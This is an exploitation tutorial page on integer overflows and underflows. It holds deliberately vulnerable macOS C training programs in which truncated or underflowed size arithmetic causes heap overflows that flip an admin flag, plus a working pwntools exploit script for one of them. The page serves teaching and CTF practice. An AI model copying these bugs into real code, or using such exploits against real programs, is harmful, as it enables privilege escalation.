# Integer Overflow {{#include ../banners/hacktricks-training.md}} ## Basic Information At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). Max values for common integer types: | Type | Size (bits) | Min Value | Max Value | |----------------|-------------|--------------------|--------------------| | int8_t | 8 | -128 | 127 | | uint8_t | 8 | 0 | 255 | | int16_t | 16 | -32,768 | 32,767 | | uint16_t | 16 | 0 | 65,535 | | int32_t | 32 | -2,147,483,648 | 2,147,483,647 | | uint32_t | 32 | 0 | 4,294,967,295 | | int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | | uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems. ### Max values For potential **web vulnerabilities** it's very interesting to know the maximum supported values: {{#tabs}} {{#tab name="Rust"}} ```rust fn main() { let mut quantity = 2147483647; let (mul_result, _) = i32::overflowing_mul(32767, quantity); let (add_result, _) = i32::overflowing_add(1, quantity); println!("{}", mul_result); println!("{}", add_result); } ``` {{#endtab}} {{#tab name="C"}} ```c #include #include int main() { int a = INT_MAX; int b = 0; int c = 0; b = a * 100; c = a + 1; printf("%d\n", INT_MAX); printf("%d\n", b); printf("%d\n", c); return 0; } ``` {{#endtab}} {{#endtabs}} ## Examples ### Pure overflow The printed result will be 0 as we overflowed the char: ```c #include int main() { unsigned char max = 255; // 8-bit unsigned integer unsigned char result = max + 1; printf("Result: %d\n", result); // Expected to overflow return 0; } ``` ### Signed to Unsigned Conversion Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: ```c #include int main() { int userInput; // Signed integer printf("Enter a number: "); scanf("%d", &userInput); // Treating the signed input as unsigned without validation unsigned int processedInput = (unsigned int)userInput; // A condition that might not work as intended if userInput is negative if (processedInput > 1000) { printf("Processed Input is large: %u\n", processedInput); } else { printf("Processed Input is within range: %u\n", processedInput); } return 0; } ``` In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. ### macOS Overflow Example ```c #include #include #include #include #include /* * Realistic integer-overflow β†’ undersized allocation β†’ heap overflow β†’ flag * Works on macOS arm64 (no ret2win required; avoids PAC/CFI). */ __attribute__((noinline)) void win(void) { puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰"); puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); exit(0); } struct session { int is_admin; // Target to flip from 0 β†’ 1 char note[64]; }; static size_t read_stdin(void *dst, size_t want) { // Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) size_t got = 0; printf("Requested bytes: %zu\n", want); while (got < want) { size_t remain = want - got; size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); if (n > 0) { got += (size_t)n; continue; } if (n == 0) { // EOF – stop; partial reads are fine for our exploit break; } // n < 0: real error (likely EINVAL when chunk too big on some FDs) perror("read"); break; } return got; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); puts("=== Bundle Importer (training) ==="); // 1) Read attacker-controlled parameters (use large values) size_t count = 0, elem_size = 0; printf("Entry count: "); if (scanf("%zu", &count) != 1) return 1; printf("Entry size: "); if (scanf("%zu", &elem_size) != 1) return 1; // 2) Compute total bytes with a 32-bit truncation bug (vulnerability) // NOTE: 'product32' is 32-bit β†’ wraps; then we add a tiny header. uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. /* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits Then, product32 = 0 */ uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); // 3) Allocate a single arena and lay out [buffer][slack][session] // This makes adjacency deterministic (no reliance on system malloc order). const size_t SLACK = 512; size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) unsigned char *arena = (unsigned char*)malloc(arena_sz); if (!arena) { perror("malloc"); return 1; } memset(arena, 0, arena_sz); unsigned char *buf = arena; // In this buffer the attacker will copy data struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 sess->is_admin = 0; strncpy(sess->note, "regular user", sizeof(sess->note)-1); printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", (void*)arena, (void*)buf, alloc32, (void*)sess, ((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). // 4) Copy uses native size_t product (no truncation) β†’ It generates an overflow size_t to_copy = count * elem_size; // <-- Large size_t printf("[dbg] requested copy (size_t) = %zu\n", to_copy); puts(">> Send bundle payload on stdin (EOF to finish)..."); size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 printf("[dbg] actually read = %zu bytes\n", got); // 5) Privileged action gated by a field next to the overflow target if (sess->is_admin) { puts("[dbg] admin privileges detected"); win(); } else { puts("[dbg] normal user"); } return 0; } ``` Compile it with: ```bash clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ -o int_ovf_heap_priv int_ovf_heap_priv.c ``` #### Exploit ```python # exploit.py from pwn import * # Keep logs readable; switch to "debug" if you want full I/O traces context.log_level = "info" EXE = "./int_ovf_heap_priv" def main(): # IMPORTANT: use plain pipes, not PTY io = process([EXE]) # stdin=PIPE, stdout=PIPE by default # 1) Drive the prompts io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 # 2) Wait until it’s actually reading the payload io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") # 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) payload = b"A" * 48 + p32(1) # 4) Send payload, THEN send EOF via half-close on the pipe io.send(payload) io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary # 5) Read the rest (should print admin + FLAG) print(io.recvall(timeout=5).decode(errors="ignore")) if __name__ == "__main__": main() ``` ### macOS Underflow Example ```c #include #include #include #include #include /* * Integer underflow -> undersized allocation + oversized copy -> heap overwrite * Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. */ __attribute__((noinline)) void win(void) { puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰"); puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); exit(0); } struct session { int is_admin; // flip 0 -> 1 char note[64]; }; static size_t read_stdin(void *dst, size_t want) { // Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. const size_t MAX_CHUNK = 1 << 20; // 1 MiB size_t got = 0; printf("[dbg] Requested bytes: %zu\n", want); while (got < want) { size_t remain = want - got; size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); if (n > 0) { got += (size_t)n; continue; } if (n == 0) break; // EOF: partial read is fine perror("read"); break; } return got; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); puts("=== Packet Importer (UNDERFLOW training) ==="); size_t total_len = 0; printf("Total packet length: "); if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" const size_t HEADER = 16; // **BUG**: size_t underflow if total_len < HEADER size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned // If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", total_len, HEADER, payload_len); // Build a deterministic arena: [buf of total_len][16 gap][session][slack] const size_t SLACK = 256; size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) unsigned char *arena = (unsigned char*)malloc(arena_sz); if (!arena) { perror("malloc"); return 1; } memset(arena, 0, arena_sz); unsigned char *buf = arena; struct session *sess = (struct session*)(arena + total_len + 16); // The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) sess->is_admin = 0; strncpy(sess->note, "regular user", sizeof(sess->note)-1); printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", (void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); puts(">> Send payload bytes (EOF to finish)..."); size_t got = read_stdin(buf, payload_len); // The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 printf("[dbg] actually read = %zu bytes\n", got); if (sess->is_admin) { puts("[dbg] admin privileges detected"); win(); } else { puts("[dbg] normal user"); } return 0; } ``` Compile it with: ```bash clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ -o int_underflow_heap int_underflow_heap.c ``` ### Other Examples - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: ``` (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) ``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections ## ARM64 This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). {{#include ../banners/hacktricks-training.md}}